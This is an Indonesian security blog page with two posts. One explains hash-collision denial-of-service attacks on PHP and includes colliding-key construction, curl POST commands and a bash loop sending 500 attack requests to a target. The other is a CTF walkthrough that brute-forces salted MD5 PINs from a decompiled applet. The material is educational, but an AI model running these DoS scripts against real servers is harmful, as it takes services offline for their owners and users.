if99.net

IF99 ITB

Archive for the ‘Web Security’ Category

Memahami Serangan Hash table Collision Denial of Service

without comments

Pada Desember 2011 lalu, nRuns AG mempublikasikan kerentantan pada implementasi hash table yang bisa dieksploitasi untuk melakukan serangan denial of service. Karena hash table adalah struktur data dasar yang tersedia di hampir semua bahasa pemrograman, maka kerentanan ini bisa dieksploitasi di hampir semua bahasa pemrograman yang ada, termasuk PHP, ASP.NET, Java, Ruby dsb.

Sebagai tulisan pembuka di tahun 2012, saya akan membahas mengenai apa itu hash table, cara kerja hash table, di mana kerentanan implementasi hash table saat ini dan bagaimana cara mengeksploitasinya.

Associative array atau Map

Sebelum berbicara mengenai hash table, kita perlu tahu dulu bahwa  associative array (disebut juga map atau dictionary) adalah abstract data type (ADT) yang terdiri dari pasangan kunci dan nilai dan dalam associative array tidak boleh ada kunci yang duplikat atau dobel (nilai boleh dobel, tapi kunci tidak boleh). Kunci ini bertindak seperti halnya nama dari data yang disimpan, sehingga dengan mengasosiasikan suatu data dengan kunci berupa nama atau identifier yang lain, data yang diinginkan bisa diambil dengan mudah dengan menyebutkan kuncinya.

Dalam contoh associative array di atas bila kita ingin tahu produsen mobil ini siapa, kita cukup mencari dengan kunci “make”, maka akan keluar datanya yaitu “Jeep”. Bila kita ingin tahu warna mobil ini apa, kita mencari dengan kunci “color”, maka akan keluar datanya “green”.

Lalu apa hubungannya associative array dengan hash table?

Associative array adalah abstract data type, artinya strutktur data yang masih berupa konsep atau spesifikasi saja.  Hash table adalah salah satu (bukan satu-satunya) implementasi dari associative array, artinya hash table ini adalah concrete data type (sudah konkrit bukan lagi abstract/konseptual).

The basic idea of a hash table is that each item that might be stored in the table has a natural location in the table. This natural location can be computed as a function of the item itself. When searching for an item, it is not necessary to go through all the possible locations in the table; instead, you can go directly to the natural location of the item – Data Structures and Algorithms, David J. Eck

Kutipan di atas menggambarkan ide dasar dari hash table dengan baik. Bayangkan bila kita ingin mencari orang yang bernama Agus di sebuah desa yang terdiri dari 100 rumah dan kita harus mencarinya satu per satu dari rumah ke rumah, tentu akan memakan usaha dan waktu yang sangat lama. Hash table menghindari pencarian linear seperti ini. Daripada mencari satu per satu di semua rumah, dengan satu formula matematis tertentu, bisa diketahui bahwa berdasarkan namanya, Agus berada di rumah nomor XX (natural location), sehingga kita cukup mencari di satu rumah saja. Jauh lebih cepat dan efisien bukan?

Fungsi atau formula matematis yang digunakan untuk mencari lokasi data (natural location) dari suatu kunci dalam hash table adalah fungsi hash. Output dari fungsi hash ini disebut dengan hash code. Hash table pada dasarnya adalah sebuah array (setiap elemen array ini disebut dengan bucket), jadi fungsi hash ini akan menghasilkan index array berupa integer, dimana lokasi data disimpan.

Saya sudah membuat gambar animasi di bawah ini untuk memperlihatkan proses memasukkan data dalam hash table yang terdiri dari 6 bucket, data yang dimasukkan adalah nama sebagai key, dan tanggal lahir sebagai datanya.

Dalam gambar animasi di atas tidak terjadi collision, masing-masing data dimasukkan dalam bucket yang berbeda jadi operasi insert bisa dilakukan dengan cepat. Berikutnya kita akan melihat kasus ketika terjadi hash collision, artinya ada lebih dari satu data yang dimasukkan dalam bucket yang sama.

Hash collision

Perhatikan bahwa jumlah kemungkinan kunci sangat banyak, bahkan tak terhingga. Bila kunci adalah nama orang, jumlah kemungkinan nama orang sangat banyak, sedangkan jumlah sel dalam hash table terbatas. Hal ini memungkinkan timbulnya collision, artinya ada 2 atau lebih kunci yang menghasilkan hash code yang sama (berebut dalam satu sel yang sama).

Karena collision tidak mungkin terhindarkan, implementasi hash table harus menentukan apa yang harus dilakukan bila terjadi collision. Salah satu cara yang banyak dipakai adalah dengan mengijinkan lebih dari satu nilai dalam satu lokasi. Umumnya hash table menggunakan struktur data linked list untuk menyimpan lebih dari satu nilai dalam satu lokasi  (bucket) yang sama.

Bila data akan dimasukkan ke dalam bucket yang sudah ada isinya (collision terjadi), maka operasinya tidak sesederhana pada kasus bucket kosong. Mari kita perhatikan animasi yang saya buat di bawah ini.

Ketika memasukkan data (insert), pada bucket yang tidak kosong maka perlu dilakukan operasi komparasi kunci untuk melihat apakah kunci yang sama sudah ada di bucket itu atau belum. Bila kunci yang sama ternyata ada di situ, artinya operasi insert berubah menjadi operasi update, yaitu mengubah data yang lama dengan yang baru. Bila kunci yang dimasukkan tidak ada di situ, maka kunci dan data yang dimasukkan akan disimpan di node paling akhir dari bucket tersebut.

Perhatikan sekali lagi animasi di atas.

  1. Pada saat memasukkan data agus, kondisi bucket no.4 sudah berisi 1 node yaitu john. Sebelum bisa memasukkan data, harus dilakukan komparasi dulu 1x, apakah john==agus yaitu apakah kunci di node pertama dalam bucket tersebut adalah agus? Bila ternyata sama tidak perlu membuat node baru, hanya melakukan update node tersebut dengan data baru.
  2. Pada saat memasukkan data adi, kondisi bucket no. 4 sudah berisi 2 node yaitu john dan agus. Sebelum bisa memasukkan data, harus dilakukan komparasi dulu 2x, apakah john==adi ? dan apakah agus==adi?
  3. Pada saat memasukkan data budi, kondisi bucket no. 4 sudah berisi 3 node: john, agus, adi. Sebelum bisa memasukkan data, harus dilakukan komparasi sebanyak 3x, apakah john=budi? , apakah agus=budi? dan apakah adi=budi?
Bisa disimpulkan bahwa bila terjadi collision dan di dalam bucket tersebut sudah berisi n data, untuk melakukan operasi insert sebuah data, diperlukan operasi komparasi maximal n kali. Komparasi maximal n kali terjadi bila data yang akan dimasukkan tidak ada dalam bucket (harus membuat node baru).
Ini artinya ketika terjadi collision, prosesor harus bekerja jauh lebih berat daripada ketika tidak terjadi collision

Normal vs Worst Case

Kita sudah membahas sebelumnya bagaimana prosesor harus bekerja jauh lebih berat ketika terjadi collision daripada ketika tidak terjadi collision. Kita bisa melihat bagaimana bentuk hash table dalam kondisi normal dan ketika terjadi kasus terburuk (worst case) pada gambar di bawah ini.

Source: Crosby and Wallach's "Denial of Service via Algorithmic Complexity Attacks"

Gambar di sisi kiri adalah gambar hash table dalam kasus yang normal atau rata-rata. Dalam kasus yang normal, collision memang tidak terhindarkan, namun dalam jumlah yang wajar jadi tidak membahayakan. Namun gambar di sisi kanan adalah kasus terburuk, dimana semua data berkumpul dalam satu bucket yang sama. Kalau yang terjadi adalah kasus terburuk, memang hasilnya benar-benar buruk, yaitu prosesor akan bekerja sangat berat dan berujung pada denial of service (DoS).

Mungkinkah kejadian worst case itu terjadi ? ya mungkin saja, tapi sangat jarang terjadi, kecuali bila memang sengaja untuk melakukan Denial of Service.

Kompleksitas Algoritma

Ketika tidak terjadi collision, usaha yang harus dilakukan prosesor untuk memasukkan 1 data adalah konstan, anggap lah satu, jadi kalau ada n data maka usaha yang harus dilakukan prosesor adalah 1*n, jadi bisa dikatakan kompleksitasnya O(n) atau linear complexity.

Ketika terjadi collision, usaha yang harus dilakukan prosesor untuk memasukkan 1 data ke dalam hash table tergantung dari data yang sudah ada dalam bucket yang sama. Mari kita analisa kasus terburuk dimana n data dengan kunci yang unik (tidak ada yang duplikat) dimasukkan ke dalam hash table dan semuanya berkumpul dalam bucket yang sama.

  1. Ketika memasukkan data yang pertama, bucket masih kosong, usaha yang harus dilakukan prosesor adalah 1.
  2. Ketika memasukkan data yang ke-2, bucket berisi 1 node, akibatnya prosesor harus melaukan komparasi 1 kali dan 1 usaha lagi untuk memasukkan data di akhir node, jadi total 2 usaha.
  3. Ketika memasukkan data yang ke-3, bucket berisi 2 node, akibatnya prosesor harus melakukan komparasi 2 kali dan 1 usaha lagi untuk memasukkan data di akhir node, jadi total 3 usaha.
  4. Dan seterusnya, data yang ke-n, total usaha adalah n.

Jadi total usaha yang harus dilakukan untuk memasukkan n data adalah 1+2+3+….+n = n * (n+1) / 2. Dalam menilai kompleksitas algoritma, n+1 bisa dianggap n dan 1/2 bisa diabaikan karena kita tidak sedang mengukur secara eksak, kita hanya melihat kompleksitasnya relatif terhadap jumlah input. Jadi bisa dikatakan kompleksitas ketika terjadi worst case adalah n*n atau O(n²) (quadratic complexity), artinya bila jumlah input dinaikkan menjadi 2x lipat, maka usaha atau waktu yang dibutuhkan prosesor naik menjadi 4x lipat.

Perbedaan antara linear O(n) ketika tidak terjadi collision dan quadratic complexity O(n²) dalam situasi worst case sangat signifikan, hal ini bisa dilihat dari grafik di bawah ini.

source: http://recursive-design.com/blog/2010/12/07/comp-sci-101-big-o-notation/

 Implementasi Hash table dalam PHP

Dalam source code php, hash table diimplementasikan dalam dua file yaitu zend_hash.c dan zend_hash.h. Berikut ini adalah definisi tipe hashtable dan bucket.

Isi utama dari Hashtable adalah arBuckets yaitu array of Bucket. Bucket adalah tempat data disimpan dalam bentuk pasangan (arKey, pData). Bucket juga merupakan node dalam linked list yang memiliki pointer ke Bucket lain di sebelah kanan dan kirinya. Lebih mudahnya bisa dilihat pada gambar di bawah ini.

source: http://stblog.baidu-tech.com/?p=763

Skenario dalam gambar di atas adalah memasukkan 6 data dalam urutan K1, K2, K4, K5, K6, K7. K1 dimasukkan dalam bucket no. 1, kemudian diikuti dengan K2 dalam bucket no. m. Berikutnya adalah K4 dimasukkan dalam bucket no.2. Ketika memasukkan K5, ternyata dimasukkan dalam bucket no.1 yang sudah berisi K1 sebelumnya. Jadi K5 dan K1 membentuk linked list dalam bucket no. 1. Begitu juga dengan K6 dan K7 dimasukkan dalam bucket yang sama dengan K2 sehingga membentuk linked list dalam bucket no. m.

Selain dalam arBuckets, juga ada linked list global yang menyimpan semua data dalam hash table. Hashtable menyimpan pointer ke data pertama (pListHead), pointer internal dan pointer ke data terakhir (pListTail).

Key to Bucket

Bagaimana proses mengubah dari key menjadi lokasi bucket dalam hash table? Secara umum prosesnya adalah sebagai berikut:

  1. hash(key) => hashcode berupa integer
  2. hashcode diubah menjadi index dari 0-table size dengan cara modulo atau bit masking

Keluaran fungsi hash adalah integer yang berukuran besar, padahal ukuran hash table biasanya tidak besar. Secara default di PHP ukuran hash table adalah 8 bucket sehingga untuk hash table berukuran 8, hashcode harus diubah menjadi nilai integer dari 0 s/d 7.

Cara pertama adalah dengan modulo, suatu integer berapapun besarnya bila di modulo dengan 8, hasilnya pasti antara 0 s/d 7. Cara kedua adalah masking dengan operasi AND. Suatu integer 32 bit, bila di-AND dengan 111, hasilnya adalah semua bit diubah menjadi 0 kecuali bit-1 sampai bit ke-3 yang tetap apa adanya. Hasil dari masking ini adalah integer antara 0 s/d 7. PHP memakai cara yang kedua, yaitu AND masking dengan (nTableSize-1).

PHP membedakan antara key berupa integer dan key berupa string. Bila key adalah integer, maka hashcode adalah key itu sendiri. Bila key adalah string, maka fungsi hash akan mengubahnya menjadi hashcode berupa integer.

Dari proses pengubahan key menjadi lokasi bucket bisa disimpulkan ada 2 kondisi agar terjadi collision:

  1. Memilih key yang menghasilkan hash code yang sama. Hash code yang sama tentu akan menghasilkan posisi index bucket yang sama setelah dilakukan operasi masking AND.
  2. Memilih key dengan hash code berbeda namun menghasilkan index bucket yang sama setelah dilakukan masking AND.

Mari kita coba cara yang ke-2 di bawah ini.

Hash Collision dengan Key Integer

Gambar di atas adalah eksekusi dari source php dari situs nikic.github.com. Dua kasus tersebut tugas yang dikerjakan sama, yaitu memasukkan angka 0 sebanyak 65536 ke dalam hash table. Hanya saja perbedaannya, kasus pertama disengaja memasukkan 65536 angka 0 tersebut seluruhnya di bucket yang sama (100% collision) , akibatnya prosesor harus bekerja ekstra keras dan dibutuhkan waktu 115 detik untuk menyelesaikan tugasnya. Normalnya hanya dibutuhkan waktu 0.04 detik saja. Sangat signifikan perbedaannya bukan?

Kasus di atas adalah 100% collision dengan cara yang ke-2, yaitu memilih key yang memiliki hash code berbeda namun menghasilkan index bucket yang sama setelah dilakukan masking AND. Mari kita lihat source codenya:

<?php 
$size = pow(2, 16); // 16 is just an example, could also be 15 or 17
$startTime = microtime(true);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
    $array[$key] = 0;
}
$endTime = microtime(true);
echo 'Inserting ', $size, ' evil elements took ', $endTime - $startTime, ' seconds', "\n";
$startTime = microtime(true);
$array = array();
for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key) {
    $array[$key] = 0;
}
$endTime = microtime(true);
echo 'Inserting ', $size, ' good elements took ', $endTime - $startTime, ' seconds', "\n";
?>

Mengapa bisa terjadi 100% collision? Perhatikan tabel di bawah ini.

Karena key berupa integer, maka hash code sama dengan key. Karena size adalah 8, maka bit mask adalah 111 (7 desimal). Key dipilih 0, 8, 16 dan seterusnya kelipatan 8 karena key tersebut dalam binary 3 bit paling bawahnya bernilai 000. Karena 3 bit paling bawah dari key selalu 000, maka ketika dilakukan operasi AND dengan 0111, hasilnya selalu 0. Jadi semua key yang dipilih (0,8,16,24…) menghasilkan index bucket yang sama yaitu bucket 0 sehingga semua data berkumpul di bucket 0 (100% collision).

Hash Collision dengan Key String

Perbedaan antara key berupa integer dan string hanya pada hash code yang dihasilkan. PHP 5 menggunakan fungsi hash DJBX33A untuk mengubah string menjadi hashcode berupa integer. Selanjutnya hashcode juga akan dimasking dengan operasi AND. PHP 4 menggunakan fungsi hash yang sedikit berbeda, yaitu DJBX33X, kita akan membahas fungsi ini beserta eksploitasinya di artikel selanjutnya.

Dalam kasus sebelumnya kita bisa dengan mudah memilih key yang menghasilkan 100% collision karena key yang digunakan adalah integer. Dalam kasus tersebut kita memakai cara yang ke-2, yaitu hash code berbeda, namun hasil masking menghasilkan index bucket yang sama. Dalam key berupa string kita akan memakai cara pertama, yaitu memilih key yang menghasilkan hash code yang sama.

Sulit kah mencari key yang menghasilkan hash yang sama? Jangan dibayangkan hash disini adalah cryptographic hash seperti MD5 atau SHA yang memang sudah dirancang untuk sangat sulit mencari dua string dengan hash yang sama. Fungsi hash DJBX33A sangat sederhana, jadi tidak sesulit mencari collision di MD5 atau SHA.

Di bawah ini adalah implementasi fungsi hash DJBX33A dalam php:

static inline ulong zend_inline_hash_func(const char *arKey, uint nKeyLength)
{
	register ulong hash = 5381;
 
	/* variant with the hash unrolled eight times */
	for (; nKeyLength >= 8; nKeyLength -= 8) {
		hash = ((hash << 5) + hash) + *arKey++;
		hash = ((hash << 5) + hash) + *arKey++;
		hash = ((hash << 5) + hash) + *arKey++;
		hash = ((hash << 5) + hash) + *arKey++;
		hash = ((hash << 5) + hash) + *arKey++;
		hash = ((hash << 5) + hash) + *arKey++;
		hash = ((hash << 5) + hash) + *arKey++;
		hash = ((hash << 5) + hash) + *arKey++;
	}
	switch (nKeyLength) {
		case 7: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
		case 6: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
		case 5: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
		case 4: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
		case 3: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
		case 2: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
		case 1: hash = ((hash << 5) + hash) + *arKey++; break;
		case 0: break;
EMPTY_SWITCH_DEFAULT_CASE()
	}
	return hash;
}

Walaupun terlihat panjang tapi sebenarnya source di atas adalah bentuk efisiensi saja dengan mengubah perkalian 33 dengan operasi shift left 5 kali ditambah hash satu kali, bentuk yang sederhananya adalah:

hash_t bernstein_hash(const unsigned char *key)
{
 hash_t h=5381;
 while(*key) h=33*h + *key++;
 return h;
}

Mari kita lihat beberapa contoh hash. Dalam fungsi DJBX33A digunakan nilai awal hash 5381. Perlu diingat bahwa kode ascii A,B,C,D adalah 65,66,67,68.

hash(“A”) = 5381×33 + 65 = 5381×331 + 65×330
hash(“AB”) = hash(“A”) x 33 + 66 = 5381×332 + 65×331 + 66×330
hash(“ABC”) = hash(“AB”) x 33 + 67 = 5381×333 + 65×332 + 66×331 + 67×330
hash(“ABCD”) = hash(“ABC”) x 33 + 68 = 5381×334 + 65×333 + 66×332 + 67×331 + 68×330

Dengan kata lain hash dari string S dengan panjang n adalah:
5381×33n+∑ S[i] x 33n-i

Dengan formula yang sederhana seperti ini kita bisa dengan mudah mencari beberapa string yang memiliki hash yang sama. Agar lebih sederhana kita gunakan nilai hash awal bukan 5381, tapi 0 saja. Mari kita coba cari dua string terdiri dua karakter diawali dengan huruf A dan huruf C, kita akan mencari huruf keduanya.

hash(“A?”) = hash(“C?”)
65 * 33 + x = 67 * 33 + y
2145 + x = 2211 + y
x – y = 66

Kita sekarang tinggal mencari dua karakter yang selisih kode asciinya adalah 66.

  • Bila x=122 (kode ascii ‘z’),y adalah 56 (kode ascii ’8′),maka hash(“Az”)=hash(“C8″)
  • Bila x=121 (kode ascii ‘y’),y adalah 55 (kode ascii ’7′),maka hash(“Ay”)=hash(“C7″)
  • Bila x=120 (kode ascii ‘x’),y adalah 54 (kode ascii ’6′),maka hash(“Ax”)=hash(“C6″)
  • Bila x=119 (kode ascii ‘w’),y adalah 53 (kode ascii ’5′),maka hash(“Aw”)=hash(“C5″)

Kita bisa dengan mudah menemukan banyak collision dengan perhitungan sederhana seperti ini. Tapi selain dengan cara itu, kita bisa lebih jauh lagi mencari collision dengan teknik equivalent substring.

Equivalent Substring

Karena fungsi hash DJBX33A sifatnya linear, maka bila diketahui hash(“Aw”)=hash(“C5″), akan berlaku:

  • hash(“prefix+Aw”)=hash(“prefix+C5″)
  • hash(“Aw+suffix”)=hash(“C5+suffix”)
  • hash(“prefix+Aw+suffix”)=hash(“prefix+C5+suffix”)

Dengan cara ini kita bisa mengembangkan collision “Aw” dan “C5″ menjadi ribuan collision lain dengan menambahkan random prefix dan suffix, contohnya:

  • hash(“xcvbAw”)=hash(“xcvbC5″)
  • hash(“52$$Aw”)=hash(“52$$C5″)
  • hash(“Aw889″)=hash(“C5889″)
  • hash(“Aw**”)=hash(“C5**”)
  • hash(“@@Aw**”)=hash(“@@C5**”)

Mengapa equivalent substring ini berlaku? Kita lihat contoh berikut, bila diketahui hash(“Aw”)=hash(“C5″), sekarang kita coba tambahkan suffix ‘#’, berapakah h(“Aw#”) dan h(“C5#”) ?

  • h(“Aw”) = h(“C5″) = y
  • h(“Aw#”) = h(“Aw”) * 33 + ascii(‘#’)
  • h(“C5#”) = h(“C5″) * 33 + ascii(‘#’)
  • h(“Aw#”) = h(“C5#”) = y * 33 + ascii(‘#’)

Begitu juga dengan penambahan prefix. Mari kita lihat bila h(“Aw”)=h(“C5″) apakah h(“#Aw”)=h(“#C5″) juga?

  • h(“Aw”) = h(“C5″) = y
  • h(“Aw”) = 5381*33^2 + 65*33 + 119
  • h(“C5″) = 5381*33^2 + 67*33 + 53
  • h(“#Aw”)=5381*33^3+35*33^2+65*33+119 = 5381*33^3 + 35*33^2 + h(“Aw”) – 5381*33^2
  • h(“#C5″)=5381*33^3+35*33^2+67*33+53   = 5381*33^3 + 35*33^2 + h(“C5″) – 5381*33^2
  • h(“#Aw”) = h(“#C5″) = 5381*33^3 + 35*33^2 + y – 5381*33^2

Attacking via POST data

Ketika kita mengirimkan request POST ke suatu file PHP, php akan menyiapkan sebuah hash table bernama $_POST untuk menampung parameter yang dikirim via POST request.

Contoh di bawah ini adalah ketika kita mengirim POST request dengan curl, dan mengirimkan dua paramter ABC dan test kemudian isi hash table $_POST di-dump dengan print_r().

root@bt:~# curl http://192.168.7.198/hashcollision/test2.php -d "ABC=123&test=aaa"
Array
(
    [ABC] => 123
    [test] => aaa
)

Kita bisa membuat prosesor di server bekerja ekstra keras dengan mengirimkan parameter POST yang 100% collision. Dengan teknik equivalent substring kita bisa meng-generate banyak parameter name yang menghasilkan collision. Sebagai contoh bila diketahui hash(“Aw”)=hash(“C5″), maka kita bisa mulai dari “AwAwAw” kemudian melakukan kombinasi dengan mengganti substring “Aw” dengan “C5″:

  • AwAwAw
  • AwAwC5
  • AwC5Aw
  • C5AwAw
  • AwC5C5
  • C5C5C5

Bila kita mengirimkan POST request dengan post data:

“AwAwAw=&AwAwC5&AwC5Aw=&C5AwAw=&AwC5C5=&C5C5C5=”

maka 6 parameter post tersebut akan menghasilkan 100% collision. Tentu saja 6 collision saja tidak terasa efeknya, semakin banyak collision yang dikirim dalam satu request POST semakin berat kerja prosesor.

Di internet sudah banyak beredar parameter POST data yang menghasilkan 100% collision. Kita bisa meng-generate sendiri atau mengambil dari internet. Salah satu parameter post di internet adalah http://jrs-s.net/hashcollide.txt yang berisi 65536 parameter post:

POST of Doom

Sekarang kita coba melakukan serangan DoS dengan menggunakan parameter name dari internet. Kita akan menggunakan curl sebagai tools untuk mengirimkan POST request ke target. Parameter post disimpan dalam file hashcollide.txt.

root@bt:~# curl http://192.168.7.198/hashcollision/test2.php -d @hashcollide.txt -v 
* About to connect() to 192.168.7.198 port 80 (#0)
*   Trying 192.168.7.198... connected
* Connected to 192.168.7.198 (192.168.7.198) port 80 (#0)
> POST /hashcollision/test2.php HTTP/1.1
> User-Agent: curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15
> Host: 192.168.7.198
> Accept: */*
> Content-Length: 1441792
> Content-Type: application/x-www-form-urlencoded
> Expect: 100-continue
> 
< HTTP/1.1 100 Continue

Cukup 2 request POST of Doom seperti ini saja prosesor sudah terpakai 100%. Dalam kasus ini dibutuhkan dua request POST karena masing-masing request menghabiskan 50% cpu dari dual core processor.

Dari grafik cpu usage di task manager juga terlihat lonjakan cpu usage, dari tadinya normal menjadi 100% setelah menerima request POST of Doom ini.

Serangan ini berbahaya karena DoS tidak dilakukan dengan menghujani (flooding) server dengan banyak request, tapi dilakukan sedikit request saja yang mengandung parameter post yang 100% collision.

Bila satu atau dua request tidak cukup membuat server target tewas (karena servernya adalah server kelas berat), jangan kuatir kita tinggal menambahkan script yang akan looping melakukan serangan hingga ratusan kali. Sebagai contoh, script bash kecil di bawah ini melakukan serangan sebanyak 500x.

#!/bin/bash
for i in `seq 1 500` ; do
    (curl -s -d @hashcollide.txt http://targethost/targetpath.php >/dev/null &)
done

Dalam artikel selanjutnya kita akan membahas serangan DoS yang sama ke bahasa selain PHP, seperti Java.

Written by Rizki Wicaksono

January 12th, 2012 at 2:53 pm

Posted in Web Security

Pre-conference Challenge #3 OWASP AppsecUSA 2011 – Walkthrough

without comments

Dalam tulisan ini saya akan sharing bagaimana menyelesaikan challenge CTF OWASP dalam Appsec USA 2011.

Dalam challenge ini kita diminta mendownload sebuah file ZIP yang berisi sebuah Applet (dalam JAR) dan html untuk me-load Applet tersebut. Ketika Applet tersebut dibuka di browser akan terlihat seperti ini:

Kita dihadapkan pada form yang meminta kita memasukkan username dan PIN. Jadi challenge  kita adalah menemukan username dan PIN yang tepat untuk mendapatkan flag yang terenkripsi. Dari form tersebut kita mendapat clue bahwa PIN ini formatnya adalah 6 digit.

Sebelumnya kita harus tahu dulu darimana data username/PIN tersebut disimpan. Ada dua kemungkinan:

  • Server-side authentication: bila keputusan credentials benar/salah diputuskan di server
  • Client-side authentication: bila keputusan credentials benar/salah diputuskan di client (browser)

Pertama saya menguji dengan memasukkan user dan PIN sembarang, dari pantauan sniffer tidak terlihat ada traffic data sedikitpun. Dari sini bisa kita simpulkan bahwa ini adalah client-side authentication, artinya keputusan username dan PIN yang dimasukkan benar atau salah sepenuhnya diputuskan di client-side (dalam browser/Applet).

Dalam client-side authentication, pasti ada repository untuk menyimpan data user dan passwordnya. Dalam kasus ini, data tersebut disimpan dalam JAR. Dalam file JAR tersebut kalau kita buka, kita akan temukan file:

org\owasp\appsecusa\capturetheflag\loginchallenge\data.xml. Berikut adalah isi dari data.xml

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users>
        <identity>
            <uid>1</uid>
            <username>Larry</username>
            <password>520540d155fdde616031d546cd5c747a</password>
        </identity>
        <identity>
            <uid>2</uid>
            <username>Curly</username>
            <password>edbf0f9d73cd984fae64c44c618f3c33</password>
        </identity>
        <identity>
            <uid>3</uid>
            <username>Moe</username>
            <password>b2512d38c5702ce5108585d3c730f657</password>
        </identity>
    </users>
    <storage>
        <record>
            <sid>3</sid>
            <data>LCNIk2NvX1JdVcwIoWBxyewfKIFexhCeGnepwYK63RmSrEmAbEg/CHLRA7sK0mjAB/ZJzbM113Mv
3YXg2d46age+gNFoERSce9u2/up8xcpjfLdKd9RilU1hqpkZ0vcXkgZSn8XTnecHVYSRG45gXuWA
PzWGvNdy396WivrEKZo5B3kGUOJh8XIBW90aA9RWN0thyHoJvjaiu7alKuv/wtKwMk0ZTuZol5Le
rY7iJJdaEPthqeso3bHg0xd3xKmD2X09PdEa1U8ZuOYH2Z3ZjN4fj6gm5EBjDNferc7rSWYcbNkF
064jnQHO73XQAURMXl+vaXWMX3i7uqWinm/eSc1BUspXaB3BBZChcoMqK0+gdsmzd1GGalVqL86f
xBL7T5yVS7RJe0r45HtCYXroecR1aaO6xzHUwcAqGAD2Km2n0DrmRz9MoVO0yR2/KipiAfjFzPd+
7wjbzF5M8BcfLNRtBR9fTK86fkeIO+19+IFwnlewYFzVIWtTebm3zOHJCbQtBttMfwp8YaM+UWxZ
sA==</data>
        </record>
        </storage>
    </root>

File XML ini menyimpan data user, password dan data yang terenkripsi (kemungkinan ini adalah flag yang akan kita capture). Dari isinya bisa kita lihat ada 3 user: Larry, Curly dan Moe. Password terlihat dalam bentuk hash sepanjang 32 karakter (dari panjangnya kemungkinan ini adalah MD5).

Karena kemungkinan password disimpan dalam MD5 dan formatnya adalah 6 digit, maka saya mencoba cara paling mudah dulu, yaitu melakukan brute force dengan john the ripper. Dengan diketahui formatnya adalah 6 digit, john bisa melakukan brute force dalam hitungan detik saja.

Sebelum menjalankan john, kita perlu edit john.conf dulu agar lebih efisien. Pada bagian Incremental:Digits Kita masukkan minLength=6 dan maxLength=6 karena kita tahu bahwa yang kita cari panjangnya tepat 6 digit.

Oke sekarang kita coba jalankan john dan berdoa semoga passwordnya ditemukan.

John dengan opsi “incremental:Digits” dan panjang diset 6 ternyata tidak berhasil mendapatkan kecocokan, artinya format tersebut pasti bukan plain MD5, kemungkinan sudah ditambah salt. Oke kalau cara ini gagal, sekarang waktunya “go deeper”.

Decompiling

Kita akan “go deeper” dengan melakukan decompiling file class yang tersimpan dalam JAR.

Class yang bertanggung jawab melakukan otentikasi adalah org.owasp.appsecusa.capturetheflag.loginchallenge.Authenticator khususnya pada method authenticate().

1
2
3
4
5
6
7
  public boolean authenticate(String username, String pin)
    throws EncryptionException
  {
    if ((username == null) || (!this.usersIds.containsKey(username)))
      return false;
    return this.calculator.compare(pin, (String)this.usersIds.get(username));
  }

Dalam method authenticate() memakai method compare() dari class MD5HashCalculator.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
  public String getHash(String text)
    throws EncryptionException
  {
    try
    {
      MessageDigest m = MessageDigest.getInstance("MD5");
      m.update("BuildYourOwnRainbow-AppSecUSA:".getBytes(), 0, "BuildYourOwnRainbow-AppSecUSA:".length());
      m.update(text.getBytes(), 0, text.length());
      byte[] digest = m.digest();
      BigInteger bigInt = new BigInteger(1, digest);
      String hashtext = bigInt.toString(16);
 
      while (hashtext.length() < 32) {
        hashtext = "0" + hashtext;
      }
      return hashtext; } catch (NoSuchAlgorithmException ex) {
    }
    throw new EncryptionException("Failed to digest:" + ex.getMessage(), ex);
  }
 
  public boolean compare(String text, String hash) throws EncryptionException
  {
    return getHash(text).equals(hash);
  }

Dari potongan kode di atas terjawab bagaimana password disimpan. Password disimpan memang dalam MD5, tapi sudah diberi salt string:”BuildYourOwnRainbow-AppSecUSA:”, ini sebabnya john the ripper tidak berhasil meng-crack.

Brute forcing PIN

Karena kita sudah mengetahui bagaimana otentikasi dilakukan (MD5+salt) maka kita bisa meminjam code di atas dan memodifikasinya untuk melakukan brute force. Karena PIN adalah 6 digit, maka kita bisa melakukan brute force dari 100000 sampai 999999.

Kita hanya menambahkan method main yang melakukan looping dari 100.000 sampai < 1.000.000 dan memanfaatkan method compare getHash() dan compare() yang sama tanpa modifikasi.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.io.*;
 
public class md5
{
 
  public static void main(String[] args) {	
	for (int i = 100000; i < 1000000; i++) {
		String text = ""+i;
		boolean match = compare(text,"b2512d38c5702ce5108585d3c730f657");
		if (match) {
			System.out.println("MATCH nih, Moe:"+text);
			return;
		}
	}
  }
 
  public static String getHash(String text)
  {
    try
    {
      MessageDigest m = MessageDigest.getInstance("MD5");
      m.update("BuildYourOwnRainbow-AppSecUSA:".getBytes(), 0, "BuildYourOwnRainbow-AppSecUSA:".length());
      m.update(text.getBytes(), 0, text.length());
      byte[] digest = m.digest();
      BigInteger bigInt = new BigInteger(1, digest);
      String hashtext = bigInt.toString(16);
 
      while (hashtext.length() < 32) {
        hashtext = "0" + hashtext;
      }
      return hashtext; 
	} catch (Exception ex) { 
		System.out.println("Failed to digest:" + ex.getMessage());
		return null;
	}
 
  }
 
  public static boolean compare(String text, String hash) 
  {
    return getHash(text).equals(hash);
  }
}

Setelah dicompile dan dijalankan kita berhasil mendapatkan PIN 3 user tersebut dalam waktu yang sangat singkat hanya 1-3 menit untuk mendapatkan pin tiap user. PIN Larry adalah 894331. PIN Curly adalah 275446. PIN Moe adalah 495823.

Moe’s Flag

Dengan mengetahui PIN dari 3 user tersebut, saya mencoba login. Dari ketiga user tersebut hanya Moe yang mengandung Flag. Berikut tampilan ketika Moe login.

Ups, ternyata kita mendapatkan pesan:

“There is an encrypted flag stored for this user! I am able to decrypt it using your information but, unfortunatly, I cannot share it with you as the displayFlay variable is set to false. That’s about all I can tell you. Good Luck”

